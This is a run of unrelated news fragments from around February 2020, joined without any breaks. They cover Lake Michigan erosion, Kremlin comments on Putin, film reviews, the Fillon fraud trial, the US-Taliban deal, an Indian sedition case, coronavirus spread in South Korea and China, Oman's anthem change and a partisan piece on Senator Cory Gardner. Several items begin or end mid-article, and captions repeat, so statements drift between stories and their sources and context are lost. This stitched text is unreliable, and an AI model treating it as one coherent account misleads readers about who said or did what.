make it as a business and to not have people coming because of the erosion, and the beaches not being available as they have in the past, is definitely going to impact tourism and the local economy," Becky Carten-Crandell said. She said she owns a cleaning company that cleans a lot of rental homes and also works for a transit authority that provides rides, including for tourists. U.S. Rep. Fred Upton, R-St. Joseph, also toured South Haven on Thursday to see impacts of rising water levels. Upton said he helped introduce the bipartisan Safer Harbors for Our Recreational Economy (SHORE) Act this week, which he said would benefit a number of recreational harbors in the Sixth Congressional District. If passed, the legislation would require the U.S. Army Corp of Engineers and Office of Management and Budget to account for recreation-based considerations in cost-benefit analysis procedures for harbor maintenance projects. This is important legislation that would have a direct positive impact for our recreational harbors in places like Saugatuck, South Haven, and New Buffalo, and Im proud to support yet another bill that will continue to help preserve and protect our beautiful Great Lakes, Upton said in a prepared statement. Thank you to Assistant City Manager Kate Hosier for hosting me around South Haven today. This community depends on tourism and recreational boating - which are threatened as the water levels in the Great Lakes continue to rise. #MI06 pic.twitter.com/t3EsKaxCU8 Fred Upton (@RepFredUpton) February 20, 2020 Related: Lake Michigan swallows structures, puts property owners on edge The Lake Michigan conditions are impacting beaches, marinas, city infrastructure, and private property owners. Mayor Smith wrote a letter to a state official to draw attention to the issue, calling it a historic and devastating impact on the community. Nearby, houses have been demolished or moved as homeowners watch the edge of the lake shore cliff creep closer to their homes. Farther north, in Muskegon County, one home has fallen off the bluff above Lake Michigan. More: Review ordered of Indianas Lake Michigan shoreline erosion damage Birdseye view of Lake Michigan shore shows impact of erosion Boating season at South Haven marinas in jeopardy amid high-water concerns Peskov joked that Putin was only starting his presidential term. Kremlin spokesman Dmitry Peskov has called on Russians not to be afraid of the potential stepdown by Russian President Vladimir Putin, addressing the latest survey revealing fears of the Russians related to Putin's possible leave. He is "only at the beginning of his presidential term," Peskov added jokingly, according to an UNIAN correspondent in Russia. "I always want to ask fellow political scientists: why do you always say Putin's leaving? Putin is at the beginning of his presidential term. He is not leaving anywhere, he is the president of the Russian Federation, I repeat: he's at the beginning of the electoral term," Peskov told journalists. Answering a question about the survey stating Russians are already worried about what will happen in 2024, Peskov said: "I leave eventual fears without comment." Read alsoExperts identify four external factors to have decisive influence on Ukraine's national security Today, the Russian Center for Political Conjuncture published a report, which as a conclusion refers to the risks and fears of Russians associated with Putin's possible leave in 2024. The most pronounced risks/fears are the aggravation of the fight for power in the country and redistribution of assets, the loss of authority in the world arena, the loss of continuity of power, cuts in the government's social obligations, and the cancellation of national projects. Moderate risks/fears include the aggravation of interethnic conflicts and the intensification of separatist sentiments, including in the Caucasus, wider corruption, and the growing threat of hostile actions on the part of foreign states, especially the United States. Russians also pay attention to the risks/fears of a significant deterioration of the economic situation in the country, a decrease in the defense capacity of the Russian army, damage to businesses as a result of the lifting of counter-sanctions, oligarchic revenge, acute civil conflict and the outbreak of war with NATO. The party maintains that the 191 million baht loan, equivalent to about $6 million, was legitimate, and that the campaign financing rules are so ambiguous that it would have been impossible to know whether the loan contravened them. Other political parties have taken out loans without any legal ramifications. Greed (15) Rating: Verdict: Tycoon lampooned Like A Boss (15) Rating: Verdict: Slick and soulless The main emotion when you leave the cinema at the end of Greed might well be surprise that theres not a posse of lawyers running in with an injunction on behalf of billionaire Sir Philip Green. The films star, Steve Coogan, and its writer-director Michael Winterbottom, have made a few noises about Green, the former BHS boss, being only one of several inspirations for Coogans character, a charismatic, but coarse, High-Street fashion mogul called Sir Richard McCreadie. But you wont be fooled for a second. The tycoon, once celebrated as a titan of retail commerce, has suffered a series of major blows to his reputation since Parliament started scrutinising his questionable business ethics, his asset-stripping, his tax avoidance When Greedy McCreadie, as the tabloids call him, appears before a parliamentary select committee, he even orders one of the MPs to stop staring at him. Thats a gem lifted directly from Greens playbook, and there are many more. If theres a broader context, its only that the film uses Green sorry, McCreadie to satirise the way in which international fashion brands rack up massive profits on the backs, more or less literally, of Third World sweatshop workers. But the story is driven by the preparations for McCreadies outrageously ostentatious 60th birthday bash themed on his favourite movie, Gladiator on the Greek island of Mykonos. The tycoon, once celebrated as a titan of retail commerce, has suffered a series of major blows to his reputation since Parliament started scrutinising his questionable business ethics, his asset-stripping, his tax avoidance. To his fury, some A-list celebrities declare that they will no longer attend his party. An assistant (Sarah Solemani) passes on the unwelcome news that Angelinas definitely not coming and Rihannas now a maybe. Leo has sent his apologies, too, although another kind of leo a lion, hired to replicate the colosseum scene ends up making its presence very much felt. Keith Richards doesnt cry off after all, hes getting $800,000 to attend. But McCreadie is furious when he learns that the Rolling Stone is running late. The main emotion when you leave the cinema at the end of Greed might well be surprise that theres not a posse of lawyers running in with an injunction on behalf of billionaire Sir Philip Green Im paying him a dollar a wrinkle, he rages. Tell him I want him here in an hour, grinning like a tramp whos won the lottery, which is basically what he is. There are plenty of chucklesome lines like that in Greed, and Winterbottom extracts as much fun as possible from the phenomenon of mega-rich patrons shelling out for private concerts. A flashback whisks us to the preparations for a 40th birthday party for his first wife Samantha (Isla Fisher). McCreadie is indignant to learn that Robbie Williams will cost him the same as Elton John a million dollars. Tom Jones is a bargain at $350,000. How much of this is based on keenly-researched fact, and how much is mischievous whimsy, is hard to say. Coogans portrayal of McCreadie as a perma-tanned bully with dazzling, over-whitened teeth is certainly over the top but not, perhaps, by much. Other flashbacks take us to his schooldays, to the parliamentary hearing, to the early stages of his empire-building. We see him haranguing a hapless manager of one of his downmarket High Street shops, Xcellent. We also find him wooing Samantha, by hiring James Blunt to serenade her outside their bedroom window. Colin Firth, Keira Knightley, Ben Stiller, Chris Martin and Stephen Fry gamely offer further little cameos. The story is driven by the preparations for McCreadies outrageously ostentatious 60th birthday bash themed on his favourite movie, Gladiator on the Greek island of Mykonos Mind you, its almost worth a tangential satire on its own, how ready the stars themselves are to contribute to the mockery of a once-lionised public figure, now that its safe to do so. The devices Winterbottom uses to knock some narrative shape into all this come in two forms: David Mitchell plays a diffident journalist hired to write McCreadies authorised life story, while Dinita Gohil is one of his entourage, whose own relatives work in his sweatshops back in Sri Lanka. With Shirley Henderson sparkling as his proud Northern Irish mother, Asa Butterfield as his aggrieved son, and Sophie Cookson playing his daughter as an aspiring Made In Chelsea-type reality TV star, there is much to entertain us, yet in a way thats the films weakness more than its strength. The comedy is too scattershot, trying to hit too many targets at the same time. We get how appallingly decadent McCreadie and his chums are without a further reminder in the shape of Syrian refugees camped on the beach in Mykonos, whom he tricks into working to build his birthday amphitheatre. Satire loses its edge when it becomes a lampoon, and thats what happens in Greed. Moreover, the po-faced statistics that play over the closing credits, about the disparity between the worlds super-rich and its mega-poor, seem a bit wincingly self-righteous given all the knockabout silliness that has gone before. None of that should discourage you from seeing it, though. I can practically guarantee that you will laugh. I have no such confidence in Like A Boss, which is also set in the dog-eat-dog world of retail. Rose Byrne and Tiffany Haddish play Mel and Mia business partners, best friends and housemates, so devoted to one another that in the morning they load each others toothbrushes with toothpaste. Theirs is one of those implausible relationships that only exist in the movies; their banter feels precision-tooled by teams of white-coated giggle-makers in a film-formula factory somewhere. The premise is that together they run an Atlanta cosmetics company, but its losing money, and the only way to survive is to sell a major stake to rapacious make-up mogul Claire Luna (a hammy Salma Hayek). The rotter then plots to diddle them out of the business altogether, but naturally gets her comeuppance. Haddish and Byrne are accomplished comic actresses: the latter more than proved her worth in Bridesmaids (2011), and that is clearly the kind of bawdy sisterhood comedy for which director Miguel Arteta is striving here. Alas, not even they can redeem a film that, despite a few amusing moments, is just as slick as its thumping pop soundtrack, and just as soulless. Even kids will smell a rat in Fords shaggy dog story... Rose Byrne and Tiffany Haddish play Mel and Mia business partners, best friends and housemates, so devoted to one another that in the morning they load each others toothbrushes with toothpaste. The pair are pictured together The Call Of The Wild (12A) Rating: Verdict: A paw substitute Jack Londons 1903 novel The Call Of The Wild, about the adventures of a dog called Buck during the 1890s Klondike Gold Rush, has inspired filmmakers for the best part of a century. There was a silent version, and one with Clark Gable and Loretta Young, and another with Charlton Heston. And here we are once more, with a cast led by Harrison Ford (below), no less. But this time, instead of an actual dog playing Buck, we get motion-capture actor Terry Notary. In the acclaimed 2017 Swedish film The Square, Notary was responsible for one of the most startling spectacles Ive ever seen on screen, as a man doing an ape impression and terrorising a room full of people at a black-tie dinner. Buck is a heck of a dog. Unfortunately, the only challenge he doesnt quite pull off is to persuade us that he actually is one He does a great job as a dog, too, but for all the wizardry of motion-capture technology, even young children will smell a rat. Still, theyll enjoy this shaggy dog story, which begins when Buck, an exuberant St Bernard/Scotch collie cross, is stolen from the home of a kindly judge (Bradley Whitford) by thieves who have heard theres a market up in the Yukon for hounds big and strong enough to pull sleds. He then gets passed from owner to owner, some kindly and others cruel, ending up in the care of Fords grizzled, grieving frontiersman, John Thornton. Or is Buck the carer, saving John from nasty gold prospector (Dan Stevens, giving a performance that even the average pantomime villain might consider a tad over the top) and even addressing his alcohol problem, like a canine AA counsellor? Either way, Buck is a heck of a dog. Unfortunately, the only challenge he doesnt quite pull off is to persuade us that he actually is one. The day of the triffids was never this dull Little Joe (12A) Rating: Verdict: Will make you wilt Austrian director Jessica Hausners film has had oodles of critical praise on the festival circuit, and at Cannes last year, where I first saw it, Emily Beecham won the Best Actress prize. Shes a fine actress, but I dont know how she so impressed jurors. Its a weird performance and this is a weird picture, with odd, discordant music to represent the strange goings-on and an over-designed set dominated by yellows, greens and oranges, as if the movie were sponsored by what some of us still fondly think of as Opal Fruits. Its billed as science-fiction horror. Well, theres certainly plenty of sci not many films reference the olfactory pathway to the limbic system. Alice is a cold fish, but lets not bring fish into it, too. The plant, which she names Little Joe, seems to have the power to make even her happy, but it also has sinister properties Theres lots of fi, too, in a story about plant life getting the better of human-beings. But its entirely devoid of scares and theres not even much in the way of tension, as an introspective scientist called Alice (Beecham) takes home one of the genetically-engineered plants she is raising in a lab and gives it to her young son Joe (Kit Connor) to nurture. There is something in the pollen of these plants that seems to make human beings happy, and the idea is that Alice and her team will go on to produce them commercially. Alice is a cold fish, but lets not bring fish into it, too. The plant, which she names Little Joe, seems to have the power to make even her happy, but it also has sinister properties. There are faint echoes of The Day Of The Triffids, and for that matter faint echoes of a compelling film trying to get out. But despite the presence of Ben Whishaw, as Alices lovelorn colleague, and Lindsay Duncan as a psychotherapist, Im afraid it never does. In fact, far from making me happy, Little Joe just made me tired. I can just about remember enough O-Level biology to recall the difference between chlorophyll and chloroform, but this dreary picture rather blurs the distinction. It was the scandal that turned the 2017 French presidential election on its head, sweeping away the favourite and allowing relative newcomer Emmanuel Macron to romp home. On Monday, former prime minister Francois Fillon goes on trial in Paris on suspicion of misappropriating over a million euros in public funds, paid to his Welsh-born wife Penelope for a suspected fake job as a parliamentary assistant between 1998 and 2013. The allegations that Penelope, who is also charged in the case, was paid up to 10,000 euros ($10,800) a month for little to no work buried Fillon's presidential ambitions and caused his centre-right Republicans party to implode. With the career politician defiantly refusing to stand aside, even after being charged, many right-wing voters drifted to the centrist Macron. Fillon, 65, denies fiddling the system and insists that Penelope -- who faces charges including complicity in misuse of public funds -- did real work for him in his rural constituency of Sarthe. But investigators say they have found little documentary evidence of her efforts. The Fillons and a third defendant, Marc Joulaud, who stood in for Fillon in parliament when he was a cabinet minister and also hired Penelope as an assistant, face up to 10 years in prison. In a TV interview last month, Fillon ruled out any political comeback, saying his priority was to defend his family's honour. - 'Rotten' politicians - "Penelopegate" was all the more damaging for the French right given that Fillon had campaigned for president as a man of integrity, boasting of his scandal-free past over his former boss and rival Nicolas Sarkozy. "There have been a lot of scandals in French political life, but in general they had to do with party financing," political historian Jean Garrigues told AFP, citing as an example the 2011 corruption conviction of former president Jacques Chirac. By contrast, the Fillon affair -- like the tax fraud scandal that brought down Socialist budget minister Jerome Cahuzac in 2013 -- deeply shocked the French because it allegedly exposed a grubbier instinct, that of using elected office for personal enrichment. "This affair exacerbated the mistrust in political elites and strengthened the perception that 'they're all rotten'," Garrigues said. - French right in tatters - For the Republicans party, which had been savouring the prospect of retaking the Elysee Palace after five years of Socialist rule, the scandal was nothing short of disastrous. For the first time in France's postwar history the main right-wing party was eliminated during the first round of voting for president, and voters also deserted the Republicans in the follow-up parliamentary vote. The losses deepened the divisions within the party between a moderate, liberal centre and a hard-right camp accused of chasing after the far right by hammering against immigration and Islam. Meanwhile, attempts to clean up French politics that began in the wake of the Cahuzac affair continued. Hollande had already set up an independent agency in charge of vetting elected officials and senior public servants for possible conflict of interest and undeclared income. Once elected, Macron also attempted to make his mark by prohibiting lawmakers and ministers from employing their family members and scrapping cash handouts for lawmakers to bestow on projects and NGOs of their choice. "We can't say that lawmakers have remained indifferent to the various scandals," Jean-Francois Kerleo, a law professor and scientific director of France's Observatory for Public Ethics, told AFP. "There is a general demand for ethical behaviour and a realisation of the need for rules on how MPs use their office," he said. - Distrust still runs deep - Yet despite the new faces and rules, distrust of political elites has continued to soar. In a January 2019 OpinionWay survey published at the height of the "yellow vest" anti-government revolt, 85 percent of voters said they did not believe politicians cared about their problems and only 9 percent trusted political parties. "Emmanuel Macron's victory and the major political renewal of 2017 did nothing to change the distrust and in fact only reinforced it," Garrigues said. He linked the estrangement to the aloof style Macron was widely accused of adopting in his first year in office and to the fact that many of his centrist MPs come from a "wealthy, entrepreneurial" class that appears out of touch with ordinary people. But Garrigues noted that the anti-elite sentiment also has an "irrational" quality. "The truth is that transparency and integrity are a lot stronger today than in the past. But for some French people, those who are in power will never do enough," he said. Former French prime minister Francois Fillion and his wife Penelope are accused of siphoning off over a million euros of public funds in a suspected fake jobs scheme. Close Donald Trump launches fresh attack on Parasite at MAGA rally Donald Trump has resumed his attack on Democratic 2020 candidate Michael Bloomberg on Twitter and posted a bizarre all-caps rant about bailing out America's farmers with federal funding. The president unexpectedly lashed out at this years Best Picture Oscar winner, the South Korean thriller Parasite, at his latest campaign rally in Colorado Springs on Thursday night, only for the movies US distributor Neon to mock him for not being able to read subtitles. Trump also laid into Hollywood star Brad Pitt (a little wise guy), teen climate activist Greta Thunberg and Fox News - angered by negative coverage about him on Neil Cavutos show - otherwise stumbling over his words again and getting his conspiracy theories mixed up. Please allow a moment for our liveblog to load KABUL, Afghanistan - The United States plans to sign a peace deal with the Taliban on Feb. 29 as long as a week-long reduction in violence across the country holds, according to Secretary of State Mike Pompeo. The Taliban also released a statement confirming the plan to sign a peace deal that day. The violence reduction, the decisive condition of the possible peace deal, is set to begin early Saturday - just after midnight, according to Afghanistan's National Security Council and a senior State Department official. "U.S. negotiators in Doha have come to an understanding with the Taliban on a significant and nationwide reduction in violence across Afghanistan," Pompeo said in a statement Friday, referring to U.S.-Taliban talks in the Qatari capital. "Upon a successful implementation of this understanding, signing of the U.S.-Taliban agreement is expected to move forward. We are preparing for the signing to take place on February 29." The Taliban said "both parties will now create a suitable security situation in advance of agreement signing date, extend invitations to senior representatives of numerous countries and organizations to participate in the signing ceremony, make arrangements for the release of prisoners" and prepare for intra-Afghan negotiations, according to the group's statement released to the media Friday. The U.S. military command in Kabul said it has nothing to announce at this time. Javid Faisal, the Afghan National Security Council's spokesman, told The Washington Post that "if things go according to the plan," the reduction in violence will begin Saturday. The senior State Department official confirmed the date, speaking on the condition of anonymity to discuss details of the violence-reduction plan. The week-long reduction in violence will require the Taliban, the United States and Afghan government-aligned forces to largely cease all planned offensive operations nationwide. The period is not being called a cease-fire, and U.S. forces will continue to carry out counterterrorism operations against groups such as the Islamic State and al-Qaeda in Afghanistan. Should the violence reduction hold, American and Taliban negotiators will sign a peace deal by the end of the month. U.S. officials have warned that while both the Taliban and the Afghan government have given security guarantees, the potential remains for "spoilers" to upend the deal. U.S. envoy Zalmay Khalilzad, the chief U.S. negotiator, said he was "cautiously optimistic" about the prospects for peace, but described potential "spoilers" as groups both inside and outside Afghanistan that do not see a peace deal in their interest and would rather see the conflict continue. Khalilzad spoke at a United Nations conference in Islamabad, Pakistan, earlier this week. After the signing of the U.S.-Taliban peace deal, the Afghan government will launch its own round of talks with the Taliban. Afghan President Ashraf Ghani has said that he will build a negotiating team that is inclusive, but following disputed election results announced this week, Afghan politics is deeply divided. Ghani and his chief rival, Abdullah Abdullah, both declared victory after the results were announced. Abdullah, the country's chief executive, declared the results illegal and announced he will begin setting up a parallel government. Should this political turmoil persist, it will further complicate the formation of a strong, inclusive team to negotiate with the Taliban. - - - Hudson reported from Istanbul. The Washington Post's Haq Nawaz Khan in Peshawar, Pakistan, contributed to this report. Amulya's father himself has said she should be punished and should not get bail Karnataka Chief Minister B S Yediyurappa on Friday said the young woman who has been charged with sedition for raising pro-Pakistan slogans during an anti-CAA event here, had links with Naxals in the past. Amulya Leona had raised Pakistan Zindabad slogan thrice after the organisers of the event under the banner of Save Constitution invited her to address the gathering in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi. She was immediately taken into custody and subsequently produced before a judicial magistrate and sent to 14-day custody. A sedition case was also filed against her. Importantly, the organisations that are behind people like Amulya and nurturing them, if we don't take action against such organisations, such things won't end. Prima facie it is clear that there is conspiracy going on to disturb law and order with such incidents, Yediyurappa said. Speaking to reporters in Mysuru, he said, if organisations that are behind her are inquired into, things will come out. It is clear that she had links with Naxals in the past. In this backdrop she should be punished and action should be taken against organisations that are behind here. Amulya's father himself has said she should be punished and should not get bail and that he will not seek protection for her, the chief minister added. Police will also be questioning the organisers of the event in connection with the incident, official sources said. Meanwhile, Amulya's father Wazi said action should be taken against her in accordance with law, so that she corrects herself. It is an unforgivable mistake, she has caused pain to Indians. I'm deeply disturbed...action should be taken against her in accordance with law, she is around 19, we will have to find out why she said it and who is behind it,he added. She is a bright girl...I have tried to tell her not to involve herself in such activities after I got to know she was involving in anti-CAA, NRC protests and complete her education first, he said. He expressed apprehension over possible health issues of his daughter. Police have provided security to Amulya's residence at Koppa in Chikkamagaluru after some protesters had staged demonstrations, officials said. Several organisations held protests in the city on Friday against the incident. - Shatta Wale has emerged as the most searched Ghanaian celebrity on YouTube for the year 2019 - This means that most people across the country and around the world in 2019 frequently went on YouTube to go and search for Shatta Wale's videos - Shatta Wale beat the likes of Sarkodie, Stonebwoy, Kwesi Arthur among others to earn that enviable position Our Manifesto: This is what YEN.com.gh believes in Award-winning Dancehall artiste, Shatta Wale has beaten some popular Ghanaian musicians like Sarkodie and Stonebwoy among others to emerge the most searched celebrity on YouTube for the year 2019 in Ghana. The statistics show that Shatta Wale's name came up so many times in the YouTube search in the year under review which is 2019. In the post sighted by YEN.com.gh, Shatta Wale came third behind the words Movies and Ghana but was first among all Ghanaian celebrities. READ ALSO: Adebayor tells Funny Face to choose any car he likes from his multimillion-dollar fleet of cars READ ALSO: Shatta Wale unveils his Nigerian name for the first time YouTube is one of the most popular platforms for fans and people across the world to stream movies and music videos among others. Stonebwoy, on the other hand, was ranked 8th and Sarkodie in the 9th position. READ ALSO: Shatta Bandle signs Medikal; details surface online YEN.com.gh earlier reported that Shatta Wale has for the first time mentioned his Nigerian name to his fans on Twitter. Shatta Wale's Nigerian name comes at a point where most Ghanaian alcoholic beverage companies have opted to use Nigerian celebs for their advertisements since the FDA has barred Ghanaian celebrities from doing any alcoholic beverage ads. In a tweet sighted by YEN.com.gh, Shatta Wale commended the Nigerian celebrities for landing an advertorial deal with Adonko Bitters. READ ALSO: Unseen photos of Ebony Reigns pop up online He stated that his is now a Nigerian with the name Shatta Ike Chwuku Wale. "Congrats to all my naija brothers and celebs on their Adonko deal ..Infact Adonko pls come and sign me cuz am also a Nigerian ,my name is shatta Ike chwuku wale ..Thank you," he wrote. Yenkasa: Coronavirus: Is Ghana ready? | #Yencomgh Know someone who is extremely talented and needs recognition? Your stories and photos are always welcome. Get interactive via our Facebook page. Enjoyed reading our story? Download YEN's news app on Google Play now and stay up-to-date with major Ghana news! Source: YEN.com.gh POLICE are appealing for a Good Samaritan to come forward after he helped an injured pensioner to his feet following an attempted robbery. A man (86) was walking along Eastwood Road towards Rotherham market at around 11.15am on February 17 when a woman tried to snatch his walking stick, a police spokeswoman said. The incident caused the pensioner to fall to the floor, she added. "Its then understood that he was helped to his feet by a passing man, who alerted emergency services," said the spokeswoman. "The 86-year-old was taken to hospital for treatment after suffering facial injuries." Paul Harratt (42), of Cottage Beck Road, Scunthorpe, is due to appear at Sheffield Crown Court on March 17 charged with attempted robbery in connection with the incident. A police spokeswoman said Harratt identified as a woman. Police are appealing for the Good Samaritan to come forward as a witness to the incident. If you are the person, or know who he is, then please call 101, quoting investigation number 14/35312/20. Alternatively, you can stay completely anonymous by contacting the independent charity Crimestoppers via their website Crimestoppers-uk.org or by calling their UK Contact Centre on 0800 555 111. SV Krishna Chaitanya By Express News Service CHENNAI: With the judiciary cracking down on unauthorised constructions, the State government has commissioned a comprehensive study to assess the impact of hotels, beach resorts, amusement parks, and other recreational facilities on the coastline. A private consultant has been appointed to conduct the study, said Jayanti Murali, member secretary of the State Coastal Zone Management Authority TNSCZMA. The study will focus on the impact of tourism and recreational facilities on the coastal marine ecosystem in the stretch between Chennai and Mamallapuram. The study will help develop proper monitoring systems, and mitigation measures, she said. The one-year study will be conducted by Care Earth Trust, and the project executed by the State Coastal Zone Development Fund. The consultant has been mandated to review land records and secondary literature. Geo-spatial analysis of changes in land usage, land cover, infrastructure, population density, will be looked into, besides on-site assessment of both individual and cumulative impact. Data obtained will then be synthesized, analysed and recommendations will be made to address the future development. Additionally, remedial actions will be suggested and guidelines for minimizing impact on coastal ecosystem will be proposed. The new CRZ Notification, 2018 facilitates construction of beach resorts, hotels and tourism development projects both in CRZ-III and CRZ-II areas with certain loose guidelines. Besides, the new notification allows temporary tourism facilities such as shacks, toilet blocks, change rooms, drinking water facilities on beaches. The notification also has streamlined the process of CRZ clearances and only projects located in the CRZ-I (Ecologically Sensitive Areas) and CRZ IV (area covered between Low Tide Line and 12 nautical miles seaward) will now be dealt by the Union Environment Ministry for clearance. The powers for clearances with respect to CRZ-II and III have been delegated at the state level. Express has reported extensively on CRZ violation along the ECR and in Muthukadu, where a row of bungalows were built within 20 metres from the sea. Due to sea erosion, many of these bungalows have developed cracks and collapsed. Remedial actions Additionally, remedial actions will also be suggested by the study and guidelines for minimising impact on coastal ecosystem will be proposed In the backdrop of coronavirus outbreak, a huge decline in footfall of Chinese devotees is witnessed this year at the Sadhguru's Isha Yoga Centre in Coimbatore for the grand Mahashivratri event. Every year, people from across the world, especially China participate in this mega event and enjoy various programmes being organised here. Xiuhang, one of the Chinese tourists who have been in India for a while, express sadness over the outbreak of the deadly disease in his country. "Every year Chinese people come here for Mahashivratri. People wanted to come this year also but coronavirus has spoiled all plans. We enjoy doing meditation here as it gives us mental relief. I really feel sorry for my countrymen as they are facing a difficult situation," said Xiuhang. "I heard from my parents that things are getting better I wish Sadhguru should speak on Coronavirus," he said. Coronavirus first originated in the Chinese city of Wuhan and has since then spread to several countries across the world. The death toll from the deadly disease outbreak in the province has risen to 2,114, health officials reported on Friday. Meanwhile, speaking about the 5-day event which started from February 18, one of the members of Isha Yoga Centre, said: "The idea behind celebrating Mahashivratri is that on this night there is a natural upsurge of energy. It is conducive to not lie in horizontal positions. The whole concept of 'Jagran' (musical prayers), along with all festivities, we celebrate Mahashivratri in a joyful way." "This is the 25th year we are celebrating at Isha. There will be several musical performances by professionals from around the world as well as students," he said. . (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Omans new monarch Sultan Haitham bin Tariq Thursday made changes to the national anthem which contains the name and praises of his predecessor, Sultan Qaboos who died in January. State-run news agency said the new ruler issued a decree amending Annex 3 of the law pertaining to the state flag, emblem and national anthem. Lyrics, the news agency reports, referring to Sultan Qaboos, Qaboos has come with the blessing of heaven, be cheerful and commend him to the protection of our prayers will be replaced with raise to the sky and fill the universe with light, be happy and prosper. The changes occurred the day after the end of the 40-day mourning period of the former leader. Sultan Qaboos, passed away on January 10 at the age of 79. He ruled the Gulf country for nearly 50 years. Qaboos is reckoned with as the father of modern Oman. He is credited for the countrys international prestige as role-model in an Arab world torn by conflicts, political crises and religious violence. The womanless, childless and no brother ruler left no apparent heir. Haitham was quickly sworn in following royal family meeting. The former Culture Minister has vowed to follow the footsteps of his cousin. It was dominated by a bloc of reformists, moderates and other centrist candidates generally aligned with Rouhani and his government. The body drafts legislation and approves the national budget. While ultimate power lies with Irans ruling clerics, the parliament can help or hamper the presidents agenda. The chamber has done little, however, to address the demands of Iranians frustrated by rising costs, high unemployment and an increasingly repressive security apparatus. A worker wearing protective gears sprays disinfectant as a precaution against the coronavirus at a subway station in Seoul, South Korea, on Feb. 21, 2020. (Ahn Young-joon/AP Photo) South Korea Pivots Amid Surge in Cases, Now Trying to Stop Coronavirus From Spreading Locally South Korea is pivoting to try to stop the new coronavirus from spreading locally amid a surge of new cases, many of them linked to a church gathering in the city of Daegu. South Korea confirmed 100 new cases of COVID-19 on Friday, bringing the total in the country to 204. Authorities also said a second person has died. Prime Minister Chung Sye-kyun told reporters in Seoul that the government has so far focused on curbing infections coming from outside the country. From now on, the government will further prioritize preventing the virus from spreading locally, he added, according to Yonhap. The government would take strong and swift action to stem further spread of the new virus, which emerged in the Chinese city of Wuhan in December. Measures include designating the Daegu and Cheongdo areas as special care zones, Chung said. An urgent focus of government workers is to locate people who were in contact with COVID-19 patients. Officials also want to focus on curing patients. The World Health Organizations (WHO) list of virus cases classifies the cluster from the Diamond Princess cruise ship, docked in Yokohama, Japan, as separate from domestic cases in the country. Under the classification, South Korea has the most cases outside of China apart from the cases from the ship. Medical workers wearing protective gears carry a patient suspected of contracting the new coronavirus toward an ambulance at Daenam Hospital in Cheongdo, South Korea on Feb. 21, 2020. (Lee Moo-ryul/Newsis via AP) WHO officials said theyre concerned about the rising number of cases in South Korea. Were working closely with the government to fully understand the transmission dynamics that led to this increase, WHO director-general Tedros Adhanom Ghebreyesus told reporters in Geneva on Friday. The United States warned travelers this week of apparent community spread of the new virus in South Korea and other nearby countries. Community spread means people have been infected with the virus, including some who are not sure how or where they became infected. At this time, the extent of virus spread is not sustained or widespread enough to meet the criteria for a travel notice, the U.S. Centers for Disease Control and Prevention stated. South Koreas Centers for Disease Control and Prevention reported 20 new cases on Wednesday and 53 cases on Thursday before the surge on Friday. Eighty-five of the 100 newly reported cases were linked to the Shincheonji church in Daegu. A 61-year-old woman who tested positive on Feb. 18 attended the church before she was diagnosed, officials said. The church, which is usually full of thousands of worshippers, was closed on Friday and surrounded by empty streets, according to Reuters. The single worker there emerged and threatened to call the police if anyone tried to enter the building. All of our 9,000 believers are at home, the man, who declined to give his name, said before placing some no entry signs around the premises. The man said staff members cleaned and disinfected the building twice this week. A woman wearing a mask to prevent contracting the coronavirus walks past a branch of the Shincheonji Church of Jesus the Temple of the Tabernacle of the Testimony in Daegu, South Korea on Feb. 21, 2020. (Kim Hong-Ji/Reuters) Most of the other cases in South Korea are in Cheongdo County. The dozens of cases linked to the church would qualify as a super spreading event. In those kind of events or situations, we can see a rapid increase in numbers, WHO Infections Hazards Director Dr. Sylvia Briand said at the WHO briefing. But as long as we can understand how the transmission has occurred and how the new cases are linked to this event, we can make sure that we can stop the transmission. Moon Jae-in, South Koreas president, told his Cabinet earlier in the week that the economic situation due to the virus is more serious than we think. To stem the spread of COVID-19, the Government is mobilizing nationwide capabilities and going all-out in its response, he said. Moon spoke with Chinese leader Xi Jinping for 32 minutes on Thursday, the South Korean government said. The leaders agreed to share information on clinical treatments and strengthen cooperation between quarantine authorities going forward, according to a call readout. Since China possesses substantial clinical experience, sharing information with Koreas quarantine authorities would be very helpful in terms of exterminating the virus, Moon said. 5.3k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Sen. Cory Gardner (R-CO) went all-in on the Trump impeachment trial cover-up, and now his Senate seat rating has been changed to lean Democrat. According to Larry Sabatos Crystal Ball: While polling has been sparse in Colorado, Gardner has long appeared endangered by the Centennial States shift toward the Democrats. He has emphasized some local issues but has generally stuck with the president on the bigger-picture ones that are increasingly more salient in our nationalized elections. Gardner is in a tough spot: After distancing himself from Trump in 2016, Gardner risks losing his own base voters if he criticizes Trump, but if Trump again loses the state, voters may not have much reason to split their tickets in Gardners favor. . The likely Democratic nominee, Hickenlooper, is not a perfect candidate, but he is a proven one, having won the states governorship in the difficult Democratic years of 2010 and 2014. He is hardly a favorite of the left, but thats probably an asset in a general election environment. Gardner is in a state that is trending away from Republicans, and he is hoping that Trump will magically do better in a state that the president lost in 2016. Hickenlooper is the likely nominee. The Democratic Party convinced him to drop his presidential campaign and run for Senate, so the odds are good that although other candidates are running, Hickenlooper is the likely nominee. Cory Gardner joins Sen. Martha McSally in Arizona and Susan Collins in Maine as Republican Senators who have seen polls released this week that show them statistically tied (Maine) or losing (Arizona) to Democratic challengers. All three of these Senators supported Trumps acquittal, and all three may lose their seats in November. For more discussion about this story join our Rachel Maddow and MSNBC group. Follow Jason Easley on Facebook More than 100 wild animals have reportedly dropped dead near the centre of the coronavirus outbreak in China. Experts claimed that some of the animals died after being poisoned by disinfectant sprayed by workers to prevent the spread of the coronavirus, according to state media. A total of 135 animal bodies belonging to 17 species - including blackbirds, wild boars and weasels - were found in Chongqing, which borders Hubei Province. Officials in China's Chongqing city found 135 animal bodies belonging to 17 species, including blackbirds, wild boars and weasels. The creatures were poisoned by disinfectant (file photo) Officials told the state news agency that Chongqing workers might have squirted too much disinfectant to curb the coronavirus epidemic, killing the wildlife by accident. The picture shows sanitation workers disinfect a residential compound in Bozhou on February 18 Chongqing Forestry Bureau said the animals had died in several batches, reported Xinhua. Officials told the state news agency that workers might have squirted too much disinfectant to curb the epidemic, killing the wildlife by accident. They stressed that none of the dead creatures were found to have novel coronavirus, bird flu or Newcastle disease, which is a highly contagious disease affecting birds worldwide. Authorities have disposed of the animals' bodies in environmental-friendly ways. They have also disinfected the places where the corpses were found, the report said. The novel coronavirus has killed at least 2,249 people and infected more than 76,700 globally More than 76,700 patients have been infected, including more than 1,000 outside of China Over 2,200 people have now died from the killer coronavirus rapidly sweeping the world Sanitation workers 